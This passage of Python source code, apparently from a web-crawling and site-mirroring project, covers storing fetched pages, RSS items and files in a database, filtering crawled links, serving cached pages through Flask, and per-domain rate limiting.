			self.upsertResponseLinks(job, plain=[entry['linkUrl'] for entry in response['rss-content']])
		else:
			self.upsertReponseContent(job, response)
			self.upsertResponseLinks(job, plain=response['plainLinks'], resource=response['rsrcLinks'])

		# Reset the fetch time download



	# Update the row with the item contents
	def upsertReponseContent(self, job, response):

		start = urllib.parse.urlsplit(job.starturl).netloc
		interval = settings.REWALK_INTERVAL_DAYS
		if start in self.netloc_rewalk_times and self.netloc_rewalk_times[start]:
			interval = self.netloc_rewalk_times[start]

		assert interval > 7
		ignoreuntiltime = (datetime.datetime.now() + datetime.timedelta(days=interval))

		# while True:
		# 	history_size = len(list(job.versions))
		# 	if history_size > 0:
		# 		break
		# 	try:
		# 		self.log.info("Need to push content into history table (current length: %s).", history_size)
		# 		job.title           = (job.title + " ")    if job.title    else " "
		# 		job.content         = (job.content + " ")  if job.content  else " "
		# 		job.mimetype        = (job.mimetype + " ") if job.mimetype else " "

		# 		job.fetchtime = datetime.datetime.now() - datetime.timedelta(days=7)

		# 		self.db_sess.commit()
		# 		self.log.info("Pushing old job content into history table!")
		# 		break
		# 	except sqlalchemy.exc.OperationalError:
		# 		self.db_sess.rollback()
		# 	except sqlalchemy.exc.InvalidRequestError:
		# 		self.db_sess.rollback()

		while 1:
			try:

				job.title           = response['title']
				job.content         = response['contents']
				job.mimetype        = response['mimeType']
				job.ignoreuntiltime = ignoreuntiltime


				if "text" in job.mimetype:
					job.is_text  = True
				else:
					job.is_text  = False

				job.state    = 'complete'

				# Disabled for space-reasons.
				# if 'rawcontent' in response:
				# 	job.raw_content = response['rawcontent']

				job.fetchtime = datetime.datetime.now()

				self.db_sess.commit()
				self.log.info("Marked plain job with id %s, url %s as complete!", job.id, job.url)
				break
			except sqlalchemy.exc.OperationalError:
				self.db_sess.rollback()
			except sqlalchemy.exc.InvalidRequestError:
				self.db_sess.rollback()

	def insertRssItem(self, entry, feedurl):

		have = self.db_sess.query(self.db.FeedItems) \
			.filter(self.db.FeedItems.contentid == entry['guid'])   \
			.limit(1)                                  \
			.scalar()

		# print("keys = ", list(entry.keys()))


		if have:
			return
		else:
			if not ("srcname" in entry):
				self.log.error("'srcname' not in entry for item from '%s' (contenturl: '%s', title: '%s', guid: '%s')" % (feedurl, entry['linkUrl'], entry['title'], entry['guid']))
				return
			authors     = [tmp['name'] for tmp in entry['authors'] if 'name' in tmp]

			# Deduplicate repeat tags of the differing case.
			tags = {}
			for tag in entry['tags']:
				tags[tag.lower()] = tag

			new = self.db.FeedItems(
					contentid  = entry['guid'],
					title      = entry['title'],
					srcname    = entry['srcname'],
					feedurl    = feedurl,
					contenturl = entry['linkUrl'],

					type       = entry['feedtype'],
					contents   = entry['contents'],

					author     = authors,
					tags       = list(tags.values()),

					updated    = datetime.datetime.fromtimestamp(entry['updated']),
					published  = datetime.datetime.fromtimestamp(entry['published'])
				)

			self.db_sess.add(new)
			self.db_sess.commit()




	def upsertRssItems(self, job, entrylist, feedurl):

		start = urllib.parse.urlsplit(job.starturl).netloc
		interval = settings.REWALK_INTERVAL_DAYS
		if start in self.netloc_rewalk_times:
			interval = self.netloc_rewalk_times[start]
		ignoreuntiltime = (datetime.datetime.now() + datetime.timedelta(days=interval))
		print("[upsertFileResponse] Ignore until: ", ignoreuntiltime)

		while 1:
			try:
				self.db_sess.flush()
				if not (job.state == "fetching" or job.state == 'processing'):
					self.log.critical("Someone else modified row first? State: %s, url: %s", job.state, job.url)
				job.state           = 'complete'
				job.fetchtime       = datetime.datetime.now()
				job.ignoreuntiltime = ignoreuntiltime

				self.db_sess.commit()
				self.log.info("Marked RSS job with id %s, url %s as complete (%s)!", job.id, job.url, job.state)
				break

			except sqlalchemy.exc.InvalidRequestError:
				print("InvalidRequest error!")
				self.db_sess.rollback()
				traceback.print_exc()
			except sqlalchemy.exc.OperationalError:
				print("InvalidRequest error!")
				self.db_sess.rollback()
			except sqlalchemy.exc.IntegrityError:
				print("[upsertRssItems] -> Integrity error!")
				traceback.print_exc()
				self.db_sess.rollback()

		# print("InsertFeed!")
		for feedentry in entrylist:
			# print(feedentry)
			# print(feedentry.keys())
			# print(feedentry['contents'])
			# print(feedentry['published'])


			while 1:
				try:
					self.insertRssItem(feedentry, feedurl)
					break

				except sqlalchemy.exc.InvalidRequestError:
					print("InvalidRequest error!")
					self.db_sess.rollback()
					traceback.print_exc()
				except sqlalchemy.exc.OperationalError:
					print("OperationalError error!")
					self.db_sess.rollback()
				except sqlalchemy.exc.IntegrityError:
					print("[upsertRssItems] -> Integrity error!")
					traceback.print_exc()
					self.db_sess.rollback()

	def generalLinkClean(self, link, badwords):
		if link.startswith("data:"):
			return None
		linkl = link.lower()
		if any([badword in linkl for badword in badwords]):
			# print("Filtered:", link)
			return None
		return link
	def haveBadPathSegments(self, url):
		parsed = urllib.parse.urlsplit(url)
		netloc = parsed.netloc
		if not netloc:
			self.log.error("Wat? No netloc for URL: %s", url)
			return True

		disallowDupe = False
		for ruleset in self.ruleset:
			if ruleset['netlocs'] and netloc in ruleset['netlocs']:
				disallowDupe = ruleset['disallow_duplicate_path_segments'] or disallowDupe

		if not disallowDupe:
			return False

		pathchunks = parsed.path.split("/")

		if len(set(pathchunks)) == len(pathchunks):
			return False
		return True


	# Todo: FIXME
	def filterContentLinks(self, job, links, badwords):
		ret = set()
		for link in links:
			link = self.generalLinkClean(link, badwords)
			if not link:
				continue
			# if self.haveBadPathSegments(link):
			# 	continue

			netloc = urllib.parse.urlsplit(link).netloc
			if netloc in self.ctnt_filters and job.netloc in self.ctnt_filters[netloc]:
				# print("Valid content link: ", link)
				ret.add(link)
		return ret

	def filterResourceLinks(self, job, links, badwords):
		ret = set()
		for link in links:
			link = self.generalLinkClean(link, badwords)
			if not link:
				continue
			# if self.haveBadPathSegments(link):
			# 	continue
			netloc = urllib.parse.urlsplit(link).netloc
			if netloc in self.rsc_filters:
				# print("Valid resource link: ", link)
				ret.add(link)
		return ret

	def getBadWords(self, job):
		badwords = GLOBAL_BAD
		for item in [rules for rules in self.ruleset if rules['netlocs'] and job.netloc in rules['netlocs']]:
			badwords += item['badwords']

		# A "None" can occationally crop up. Filter it.
		badwords = [badword for badword in badwords if badword]
		badwords = [badword.lower() for badword in badwords]
		badwords = list(set(badwords))
		return badwords

	def upsertResponseLinks(self, job, plain=[], resource=[]):
		self.log.info("Updating database with response links")
		plain    = set(plain)
		resource = set(resource)

		unfiltered = len(plain)+len(resource)

		badwords = self.getBadWords(job)

		plain    = self.filterContentLinks(job,  plain,    badwords)
		resource = self.filterResourceLinks(job, resource, badwords)

		filtered = len(plain)+len(resource)
		self.log.info("Upserting %s links (%s filtered)" % (filtered, unfiltered))

		items = []
		[items.append((link, True))  for link in plain]
		[items.append((link, False)) for link in resource]

		self.log.info("Page had %s unfiltered content links, %s unfiltered resource links.", len(plain), len(resource))



		new_starturl = job.starturl,
		new_distance = job.distance+1
		new_priority = job.priority
		new_type     = job.type

		raw_cur = self.db_sess.connection().connection.cursor()

		if self.resp_q != None:
			for link, istext in items:
				start = urllib.parse.urlsplit(link).netloc

				assert link.startswith("http")
				assert start
				new = {
						'url'             : link,
						'starturl'        : new_starturl,
						'netloc'          : start,
						'distance'        : new_distance,
						'is_text'         : istext,
						'priority'        : new_priority,
						'type'            : new_type,
						'state'           : "new",
						'addtime'         : datetime.datetime.now(),

						# Don't retrigger unless the ignore time has elaped.
						'ignoreuntiltime' : datetime.datetime.now(),
					}
				self.resp_q.put(("new_link", new))

				while self.resp_q.qsize() > 1000:
					time.sleep(0.1)

			self.log.info("Links upserted. Items in processing queue: %s", self.resp_q.qsize())
		else:

			#  Fucking huzzah for ON CONFLICT!
			cmd = """
					INSERT INTO
						web_pages
						(url, starturl, netloc, distance, is_text, priority, type, addtime, state)
					VALUES
						(%(url)s, %(starturl)s, %(netloc)s, %(distance)s, %(is_text)s, %(priority)s, %(type)s, %(addtime)s, %(state)s)
					ON CONFLICT (url) DO
						UPDATE
							SET
								state           = EXCLUDED.state,
								starturl        = EXCLUDED.starturl,
								netloc          = EXCLUDED.netloc,
								is_text         = EXCLUDED.is_text,
								distance        = LEAST(EXCLUDED.distance, web_pages.distance),
								priority        = GREATEST(EXCLUDED.priority, web_pages.priority),
								addtime         = LEAST(EXCLUDED.addtime, web_pages.addtime)
							WHERE
							(
									web_pages.ignoreuntiltime < %(ignoreuntiltime)s
								AND
									web_pages.url = EXCLUDED.url
								AND
									(web_pages.state = 'complete' OR web_pages.state = 'error')
							)
						;
					""".replace("	", " ").replace("\n", " ")

			# cmd = text("""
			# 		INSERT INTO
			# 			web_pages
			# 			(url, starturl, netloc, distance, is_text, priority, type, addtime, state)
			# 		VALUES
			# 			(:url, :starturl, :netloc, :distance, :is_text, :priority, :type, :addtime, :state)
			# 		ON CONFLICT DO NOTHING
			# 			;
			# 		""".replace("	", " ").replace("\n", " "))

			# Only commit per-URL if we're tried to do the update in batch, and failed.
			commit_each = False
			for link, istext in items:
				while 1:
					try:
						start = urllib.parse.urlsplit(link).netloc

						assert link.startswith("http")
						assert start


						# Forward-data the next walk, time, rather then using now-value for the thresh.
						data = {
							'url'             : link,
							'starturl'        : new_starturl,
							'netloc'          : start,
							'distance'        : new_distance,
							'is_text'         : istext,
							'priority'        : new_priority,
							'type'            : new_type,
							'state'           : "new",
							'addtime'         : datetime.datetime.now(),

							# Don't retrigger unless the ignore time has elaped.
							'ignoreuntiltime' : datetime.datetime.now(),
							}
						raw_cur.execute(cmd, data)
						if commit_each:
							raw_cur.execute("COMMIT;")
						break
					except psycopg2.Error:
						if commit_each is False:
							self.log.warn("psycopg2.Error - Retrying with commit each.")
						else:
							self.log.warn("psycopg2.Error - Retrying.")
							traceback.print_exc()

						raw_cur.execute("ROLLBACK;")
						commit_each = True

			raw_cur.execute("COMMIT;")

	def upsertFileResponse(self, job, response):
		# Response dict structure:
		# {"file" : True, "url" : url, "mimeType" : mimeType, "fName" : fName, "content" : content}
		# print("File response!")
		# Yeah, I'm hashing twice in lots of cases. Bite me
		fHash = getHash(response['content'])


		start = urllib.parse.urlsplit(job.starturl).netloc
		interval = settings.REWALK_INTERVAL_DAYS
		if start in self.netloc_rewalk_times:
			interval = self.netloc_rewalk_times[start]

		assert interval > 7
		ignoreuntiltime = (datetime.datetime.now() + datetime.timedelta(days=interval))
		print("[upsertFileResponse] Ignore until: ", ignoreuntiltime)

		while 1:
			try:
				# Look for existing files with the same MD5sum. If there are any, just point the new file at the
				# fsPath of the existing one, rather then creating a new file on-disk.
				have = self.db_sess.query(self.db.WebFiles) \
					.filter(self.db.WebFiles.fhash == fHash)   \
					.limit(1)                                  \
					.scalar()

				if have:
					match = self.db_sess.query(self.db.WebFiles)              \
						.filter(self.db.WebFiles.fhash == fHash)                \
						.filter(self.db.WebFiles.filename == response['fName']) \
						.limit(1)                                               \
						.scalar()
					if match:
						job.file = match.id
					else:
						new = self.db.WebFiles(
							filename = response['fName'],
							fhash    = fHash,
							fspath   = have.fspath,
							)
						self.db_sess.add(new)
						self.db_sess.commit()
						job.file = new.id
				else:
					savedpath = saveCoverFile(response['content'], fHash, response['fName'])
					new = self.db.WebFiles(
						filename = response['fName'],
						fhash    = fHash,
						fspath   = savedpath,
						)
					self.db_sess.add(new)
					self.db_sess.commit()
					job.file = new.id

				job.state           = 'complete'
				job.is_text         = False
				job.fetchtime       = datetime.datetime.now()
				job.ignoreuntiltime = ignoreuntiltime

				self.log.info("Marked file job with id %s, url %s as complete!", job.id, job.url)

				job.mimetype = response['mimeType']
				self.db_sess.commit()
				break
			except sqlalchemy.exc.OperationalError:
				self.db_sess.rollback()
			except sqlalchemy.exc.InvalidRequestError:
				self.db_sess.rollback()
		# print("have:", have)




	########################################################################################################################
	#
	#	########  ########   #######   ######  ########  ######   ######      ######   #######  ##    ## ######## ########   #######  ##
	#	##     ## ##     ## ##     ## ##    ## ##       ##    ## ##    ##    ##    ## ##     ## ###   ##    ##    ##     ## ##     ## ##
	#	##     ## ##     ## ##     ## ##       ##       ##       ##          ##       ##     ## ####  ##    ##    ##     ## ##     ## ##
	#	########  ########  ##     ## ##       ######    ######   ######     ##       ##     ## ## ## ##    ##    ########  ##     ## ##
	#	##        ##   ##   ##     ## ##       ##             ##       ##    ##       ##     ## ##  ####    ##    ##   ##   ##     ## ##
	#	##        ##    ##  ##     ## ##    ## ##       ##    ## ##    ##    ##    ## ##     ## ##   ###    ##    ##    ##  ##     ## ##
	#	##        ##     ##  #######   ######  ########  ######   ######      ######   #######  ##    ##    ##    ##     ##  #######  ########
	#
	########################################################################################################################


	def getRpcResp(self):
		'''
		Get a job row item from the database.

		Also updates the row to be in the "fetching" state.
		'''
		# self.db_sess.begin()

		# Try to get a task untill we are explicitly out of tasks,
		# return self._get_task_internal(wattpad)


		# self.log.info("Trying to get a job.")
		try:
			job_item = self.new_job_queue.get_nowait()
			# self.log.info("New job: %s", job_item)
			return job_item
		except queue.Empty:
			# self.log.info("No jobs in queue? (qsize =  %s)", self.new_job_queue.qsize())
			return False
		if not job_item:
			return False

		raise ValueError



	def get_job_from_id(self, jobid):

		self.db_sess.flush()
		job = self.db_sess.query(self.db.WebPages) \
			.filter(self.db.WebPages.id == jobid)    \
			.one()
		self.db_sess.flush()

		if not job:
			self.db_sess.commit()
			return False

		# Don't dump old jobs that have been accidentally reset.
		if job.state == 'new':
			job.state = 'fetching'
			self.db_sess.commit()

		if job.state != 'fetching':
			self.db_sess.commit()
			self.log.info("Job not in expected state (state: %s).", job.state)
			return None

		self.db_sess.commit()
		self.log.info("Job for url: '%s' fetched. State: '%s'", job.url, job.state)

		self.db_sess.flush()


		return job


	def process_rpc_response(self, rpcresp):
		"""
		Expected response structure:
			{
			 'call': 'getItem',
			 'cancontinue': True,
			 'dispatch_key': 'fetcher',
			 'extradat': {'mode': 'fetch'},
			 'jobid': 547397438,
			 'module': 'WebRequest',
			 'ret': (item_content, item_filename, item_mimetype),
			 'success': True,
			 'user': 'client_2'
			}

		Response on error:

			{
			 'cancontinue': True,
			 'error': 'unknown',
			 'jobid': 570102816,
			 'success': False,
			 'traceback': 'Traceback (most recent call last):\n'
			              '  File "/root/AutoTriever/client.py", line 85, in _process\n'
			              '    ret = self.process(body)\n'
			              '  File "/root/AutoTriever/dispatcher.py", line 99, in '
			              'process\n'
			              "    ret = self.doCall(command['module'], command['call'], "
			              'args, kwargs)\n'
			              '  File "/root/AutoTriever/dispatcher.py", line 60, in doCall\n'
			              '    return self.classCache[module].calls[call](*call_args, '
			              '**call_kwargs)\n'
			              '  File "/root/AutoTriever/util/WebRequest.py", line 543, in '
			              'getItem\n'
			              '    raise urllib.error.URLError("Failed to retreive file from '
			              'page \'%s\'!" % itemUrl)\n'
			              'urllib.error.URLError: <urlopen error Failed to retreive file '
			              'from page '
			              "'http://dandeliontrail.livejournal.com/data/rss?tag=once "
			              "promised'!>\n",
			 'user': 'client_1'
			}


		"""

		try:
			job = self.get_job_from_id(rpcresp['jobid'])
			if job == False:
				self.log.error("Received job that doesn't exist in the database? Wut? (Id: %s -> %s)", rpcresp['jobid'], job)
				return
			if job == None:
				self.log.error("Job already being processed? Wut? (Id: %s)", rpcresp['jobid'])
				return

			if 'ret' in rpcresp:
				preretrieved = rpcresp['ret']
				self.dispatchRequest(job, preretrieved)
			else:
				content = "DOWNLOAD FAILED"
				content += "<br>"
				if 'traceback' in rpcresp:
					content += "<pre>"
					content += rpcresp['traceback']
					content += "</pre>"
					for line in rpcresp['traceback'].strip().split("\n"):
						self.log.error("Remote traceback: %s", line)
				# job.raw_content = content
				job.ignoreuntiltime = datetime.datetime.now() + datetime.timedelta(days=7)
				job.state = 'error'
				job.errno = -4
				self.db_sess.commit()
				self.log.error("Error in remote fetch.")

		except KeyboardInterrupt:
			runStatus.run = False
			runStatus.run_state.value = 0
			print("Keyboard Interrupt!")


	def taskProcess(self):
		'''
		Return true if there was something to do, false if not.
		'''
		job = None
		try:

			while runStatus.run_state.value == 1:
				rpcresp = self.getRpcResp()
				if not rpcresp:
					return False
				self.process_rpc_response(rpcresp)

			# if job.netloc in self.specialty_handlers:
			# 	self.log.info("Job %s for url %s has a specialty handler!", job, job.url)
			# 	self.special_case_handle(job)
			# else:
			# 	if job:

		except Exception:
			# err_f = os.path.join("./logs", "error - {}.txt".format(time.time()))
			# with open(err_f, "w") as fp:
			# 	if job:
			# 		fp.write("Job: {val}\n".format(val=job))
			# 		fp.write("Job-netloc: {val}\n".format(val=job.netloc))
			# 		fp.write("Job-url: {val}\n".format(val=job.url))
			# 		job.state = "error"
			# 		self.db_sess.commit()

			# 	fp.write(traceback.format_exc())

			for line in traceback.format_exc().split("\n"):
				self.log.critical("%s", line.rstrip())
		return True

	def get_row(self, url, distance=None, priority=None):
		if distance == None:
			distance = self.db.MAX_DISTANCE-2

		if priority == None:
			priority = self.db.DB_REALTIME_PRIORITY

		# Rather then trying to add, and rolling back if it exists,
		# just do a simple check for the row first. That'll
		# probably be faster in the /great/ majority of cases.
		while 1:
			# self.db_sess.begin()
			try:
				row =  self.db_sess.query(self.db.WebPages) \
					.filter(self.db.WebPages.url == url)       \
					.scalar()

				self.db_sess.commit()
				break
			except sqlalchemy.exc.InvalidRequestError:
				self.db_sess.rollback()
			except sqlalchemy.exc.OperationalError:
				self.db_sess.rollback()
			except sqlalchemy.exc.IntegrityError:
				self.db_sess.rollback()


		if row:
			self.log.info("Item already exists in database.")
		else:
			self.log.info("Row does not exist in DB")
			url_netloc = urllib.parse.urlsplit(url).netloc

			# New jobs are inserted in the "fetching" state since we
			# don't want them to be picked up by the fetch engine
			# while they're still in-progress
			row = self.db.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = url_netloc,
				distance  = distance,
				is_text   = True,
				priority  = priority,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)

			# Because we can have parallel operations happening here, we spin on adding&committing the new
			# row untill the commit either succeeds, or we get an integrity error, and then successfully
			# fetch the row inserted by another thread at the same time.
			while 1:
				try:
					# self.db_sess.begin()
					self.db_sess.add(row)
					self.db_sess.commit()
					print("Row added?")
					break
				except sqlalchemy.exc.InvalidRequestError:
					print("InvalidRequest error!")
					self.db_sess.rollback()
					traceback.print_exc()
				except sqlalchemy.exc.OperationalError:
					print("InvalidRequest error!")
					self.db_sess.rollback()
				except sqlalchemy.exc.IntegrityError:
					print("[synchronousJobRequest] -> Integrity error!")
					self.db_sess.rollback()
					row = self.db_sess.query(self.db.WebPages) \
						.filter(self.db.WebPages.url == url)            \
						.one()
					self.db_sess.commit()
					break
		return row


	def synchronousDispatchPrefetched(self, url, parentjob, content, mimetype, filename="None"):
		self.log.info("Manually initiated dispatch for prefetched-content at '%s'", url)
		row = self.get_row(url)


		fetcher = self.fetcher(rules           = self.ruleset,
								target_url     = url,
								start_url      = parentjob.starturl,
								job            = row,
								cookie_lock    = None,
								wg_handle      = self.wg,
								response_queue = self.resp_q,
								db_sess        = self.db_sess)
		ret = fetcher.dispatchContent(content, filename, mimetype)
		self.processResponse(row, ret)



	def synchronousJobRequest(self, url, ignore_cache=False):
		"""
		trigger an immediate, synchronous dispatch of a job for url `url`,
		and return the fetched row upon completion

		"""
		self.log.info("Manually initiated request for content at '%s'", url)

		row = self.get_row(url)

		thresh_text_ago = datetime.datetime.now() - datetime.timedelta(seconds=CACHE_DURATION)
		thresh_bin_ago  = datetime.datetime.now() - datetime.timedelta(seconds=RSC_CACHE_DURATION)

		if ignore_cache:
			self.log.info("Cache ignored due to override")
		else:
			# if row.state == "complete" and row.fetchtime > thresh_text_ago:
			# if row.state == "complete" and row.fetchtime > thresh_bin_ago and "text" not in row.mimetype.lower():
			# 	self.log.info("Using cached fetch results as content was retreived within the last %s seconds.", CACHE_DURATION)
			# 	return row
			if row.state == "complete":
				self.log.info("Using cached fetch results.")
				self.log.info("dbid: %s", row.id)
				return row
			else:
				self.log.info("Item has exceeded cache time by text: %s, rsc: %s. (fetchtime: %s) Re-acquiring.", thresh_text_ago, thresh_bin_ago, row.fetchtime)

		row.state     = 'new'
		row.distance  = self.db.MAX_DISTANCE-2
		row.priority  = self.db.DB_REALTIME_PRIORITY

		# dispatchRequest modifies the row contents directly.
		self.dispatchRequest(row)

		# Commit, because why not
		self.db_sess.commit()

		return row


def test():
	archiver = SiteArchiver(None)

	new = {
		'url'       : 'http://www.royalroadl.com/fiction/1484',
		'starturl'  : 'http://www.royalroadl.com/',
		'netloc'    : "www.royalroadl.com",
		'distance'  : 50000,
		'is_text'   : True,
		'priority'  : 500000,
		'type'      : 'unknown',
		'fetchtime' : datetime.datetime.now(),
		}

	cmd = text("""
			INSERT INTO
				web_pages
				(url, starturl, netloc, distance, is_text, priority, type, fetchtime)
			VALUES
				(:url, :starturl, :netloc, :distance, :is_text, :priority, :type, :fetchtime)
			ON CONFLICT DO NOTHING
			""")
	print("doing")
	# ins = archiver.db.get_session().execute(cmd, params=new)
	# print("Doneself. Ret:")
	# print(ins)
	# print(archiver.resetDlstate())
	print(archiver.getRpcResp())
	# print(archiver.getRpcResp())
	# print(archiver.getRpcResp())
	# print(archiver.taskProcess())
	pass

def test2():
	ruleset = WebMirror.rules.load_rules()
	netloc_rewalk_times = build_rewalk_time_lut(ruleset)
	print(netloc_rewalk_times)


if __name__ == "__main__":
	test2()








from app import app
import config
import datetime
import os.path
import contextlib

import WebMirror.Engine
# import WebMirror.runtime_engines
from WebMirror.Exceptions import DownloadException, getErrorDiv
from flask import g


def td_format(td_object):
		seconds = int(td_object.total_seconds())
		periods = [
				('y',        60*60*24*365),
				('d',         60*60*24),
				('h',        60*60),
				('m',      60),
				('s',      1)
				]

		if seconds < 1:
			return "just fetched"

		retstr=[]
		for period_name, period_seconds in periods:
			if seconds > period_seconds:
				period_value, seconds = divmod(seconds,period_seconds)
				retstr.append("%s%s" % (period_value, period_name))

		return ", ".join(retstr)

def replace_links(content):
	rsc_key = "RESOURCE:{}".format(config.relink_secret).lower()
	ctnt_key = "CONTENT:{}".format(config.relink_secret).lower()

	content = content.replace(ctnt_key, "/view?url=")
	content = content.replace(rsc_key, "/render_rsc?url=")
	return content


class RemoteContentObject(object):
	def __init__(self, url, db_session = None):
		self.url     = url
		self.fetched = False
		self.job     = None

		if db_session:
			self.db_sess = db_session
		else:
			self.db_sess = g.session

		# print("RemoteContentObject instantiated. Available fetchers: %s" % WebMirror.runtime_engines.fetchers.qsize())
		# self.archiver = WebMirror.runtime_engines.fetchers.get()
		self.archiver = WebMirror.Engine.SiteArchiver(cookie_lock=False, run_filters=False, new_job_queue=None, db_interface=self.db_sess)


	def fetch(self, ignore_cache=False, version=None):
		self.fetched = True

		assert not (ignore_cache and version)

		self.job     = self.archiver.synchronousJobRequest(self.url, ignore_cache)

		# Override the job instance if we're fetching a old version
		if version != None:
			self.job = self.job.versions[version]


	def getTitle(self):
		assert self.fetched
		assert self.job
		return self.job.title

	def getContent(self, relink_replace):
		"""
		At this point, we have the page content, but we need to
		replace the url/resource keys with the proper paths
		so that the page will render properly
		"""
		assert self.fetched


		content = self.job.content
		if content:
			content = replace_links(content)
		return content

	def getResource(self):
		"""
		At this point, we have the page content, but we need to
		replace the url/resource keys with the proper paths
		so that the page will render properly
		"""
		assert self.fetched
		assert self.job.file

		itempath = os.path.join(app.config['RESOURCE_DIR'], self.job.file_item.fspath)
		fname = self.job.file_item.filename
		with open(itempath, "rb") as fp:
			contents = fp.read()
		return self.job.mimetype, fname, contents

	def getCacheState(self):
		assert self.fetched
		fetched = self.job.fetchtime
		ago = datetime.datetime.now() - fetched
		return td_format(ago)


	def processRaw(self, content, mimetype='text/html', starturl='http://www.example.org'):

		# Abuse the fact that functions (including lambda) are fully formed objects
		job = lambda:None

		job.url       = self.url
		job.starturl  = "http://www.example.org"
		job.distaance = WebMirror.database.MAX_DISTANCE-2
		fetcher       = self.archiver.fetcher(self.archiver.ruleset, target_url=job.url, start_url=job.starturl, db_sess=self.archiver.db_sess, job=job, cookie_lock=False)
		print(fetcher)
		ret          = fetcher.dispatchContent(content, "None", "text/html")
		content = ret['contents']
		content = replace_links(content)
		return content

	def dispatchRetreived(self, parentjob, content, mimetype):
		print("Dispatching prefetched content!")
		assert bool(content) == True
		self.archiver.synchronousDispatchPrefetched(self.url, parentjob, content, mimetype)


	def close(self):
		# WebMirror.runtime_engines.fetchers.put(self.archiver)
		self.archiver = None

	# def __del__(self):
	# 	if self.archiver != None:
	# 		print("ERROR! Archiver not released!")



def processRaw(content):
	page = RemoteContentObject("http://www.example.org")
	try:
		ret = page.processRaw(content)
	finally:
		page.close()

	return ret



def getPage(url, ignore_cache=False, version=None):

	assert not (version and ignore_cache)

	page = RemoteContentObject(url)

	if version:
		assert isinstance(version, int)

	try:
		page.fetch(ignore_cache, version)

		title      = page.getTitle()
		content    = page.getContent("/view?url=")
		cachestate = page.getCacheState()
	except DownloadException:
		title, content, cachestate = getErrorDiv()
	finally:
		page.close()

	return title, content, cachestate


@contextlib.contextmanager
def getPageRow(url):
	page = RemoteContentObject(url)

	try:
		page.fetch(ignore_cache=False)

		yield page
	except DownloadException:
		yield None
	finally:
		page.close()




def getResource(url, ignore_cache=False):
	'''
	Get a url that (probably) contains resource content synchronously.
	Return is a 4-tuple consisting of (mimetype, filename, filecontent, cache-state)
	'''
	page = RemoteContentObject(url)
	try:
		page.fetch(ignore_cache)

		mimetype, fname, content = page.getResource()
		cachestate               = page.getCacheState()
	finally:
		page.close()
	return mimetype, fname, content, cachestate

def processFetchedContent(url, content, mimetype, parentjob, db_session=None):

	page = RemoteContentObject(url, db_session=db_session)
	try:
		ret = page.dispatchRetreived(parentjob, content, mimetype)
	finally:
		page.close()

	return ret







if __name__ == '__main__':
	import logSetup
	logSetup.initLogging()

import logging
import datetime
import random
import WebMirror.database as db
import multiprocessing
import traceback
import time

random.seed()

ACTIVE_FETCHES = {
	# Populated at runtime
}

FETCH_LOCK = multiprocessing.Lock()

log = logging.getLogger("Main.Web.SpecialCaseHandler")



def handleRateLimiting(params, job, engine, db_sess):
	allowable = params[0]
	with FETCH_LOCK:
		if not job.netloc in ACTIVE_FETCHES:
			ACTIVE_FETCHES[job.netloc] = 0

	log.info("Active fetchers for domain %s - %s", job.netloc, ACTIVE_FETCHES[job.netloc])
	if ACTIVE_FETCHES[job.netloc] > allowable:
		log.info("Too many instances of fetchers for domain %s active. Forcing requests to sleep for a while", job.netloc)
		job.ignoreuntiltime = datetime.datetime.now() + datetime.timedelta(seconds=60*5 + random.randrange(0, 60*5))
		db_sess.commit()
		return
	else:
		with FETCH_LOCK:
			ACTIVE_FETCHES[job.netloc] += 1
		engine.do_job(job)
		time.sleep(5)
		with FETCH_LOCK:
			ACTIVE_FETCHES[job.netloc] -= 1



dispatchers = {
	# 'so_remote_fetch' : handleSoRemoteFetch,
	# 'remote_fetch'    : handleRemoteFetch,
	# 'remote_fetch'    : handleSoRemoteFetch,
	'rate_limit'      : handleRateLimiting,

}


def doSpecialCase():
	'''
	Handle processing AMQP queue responses here.
	Return true if there was a queue responseto handle, false if there was not.
	'''
	had_job = False

	return had_job

def handleSpecialCase(job, engine, rules, db_sess):
	commands = rules[job.netloc]
	op, params = commands[0], commands[1:]
	if op in dispatchers:
		return dispatchers[op](params, job, engine, db_sess)
	else:
		log.error("Error! Unknown special-case filter!")
		print("Filter name: '%s', parameters: '%s', job URL: '%s'", op, params, job.url)

def test():
	pass

if __name__ == '__main__':
	test()










import time
import os
import multiprocessing
import signal
import logging
import logSetup
import cProfile
import traceback
import threading
import sys
import queue

# from pympler.tracker import SummaryTracker, summary, muppy
# import tracemalloc

import sqlalchemy.exc
from sqlalchemy.sql import text
from sqlalchemy.sql import func
import psycopg2


if __name__ == "__main__":
	logSetup.initLogging()

import config
import runStatus

import WebMirror.Engine
import WebMirror.OutputFilters.AmqpInterface
import WebMirror.rules
import WebMirror.util.urlFuncs as urlFuncs
import WebMirror.database as db
import WebMirror.NewJobQueue as njq

NO_PROCESSES = 24
# NO_PROCESSES = 12
# NO_PROCESSES = 8
# NO_PROCESSES = 4
# NO_PROCESSES = 2
# NO_PROCESSES = 1

# For synchronizing saving cookies to disk
COOKIE_LOCK  = multiprocessing.Lock()


def install_pystuck():
	import pystuck
	stuck_port = 6666
	while 1:
		try:
			pystuck.run_server(port=stuck_port)
			print("PyStuck installed to process, running on port %s" % stuck_port)
			return
		except OSError:
			stuck_port += 1
		if stuck_port > 7000:
			raise RuntimeError("wat?")

def halt_exc(x, y):
	if runStatus.run_state.value == 0:
		print("Raising Keyboard Interrupt")
		raise KeyboardInterrupt

def handler(signum, frame):
	for th in threading.enumerate():
		print("Dumping stack for thread: ", th)
		traceback.print_stack(sys._current_frames()[th.ident])
		print()

class RunInstance(object):
	def __init__(self, num, response_queue, new_job_queue, cookie_lock, nosig=True):
		# print("RunInstance %s init!" % num)
		if nosig:
			# signal.signal(signal.SIGINT, handler)
			signal.signal(signal.SIGINT, signal.SIG_IGN)
		self.num = num
		self.log = logging.getLogger("Main.Text.Web")
		self.resp_queue    = response_queue
		self.cookie_lock   = cookie_lock
		self.new_job_queue = new_job_queue

		# print("RunInstance %s MOAR init!" % num)

	def __del__(self):
		db.delete_db_session()

	def do_task(self):

		db_handle = db.get_db_session()

		hadjob = False
		try:
			self.archiver = WebMirror.Engine.SiteArchiver(self.cookie_lock, new_job_queue=self.new_job_queue, response_queue=self.resp_queue, db_interface=db_handle)
			hadjob = self.archiver.taskProcess()
		finally:
			# Clear out the sqlalchemy state
			db_handle.expunge_all()
			db.delete_db_session()

		return hadjob

	def go(self):

		self.log.info("RunInstance starting!")
		loop = 0
		# We have to only let the child threads run for a period of time, or something
		# somewhere in sqlalchemy appears to be leaking memory.
		for dummy_x in range(100):

			if runStatus.run_state.value == 1:
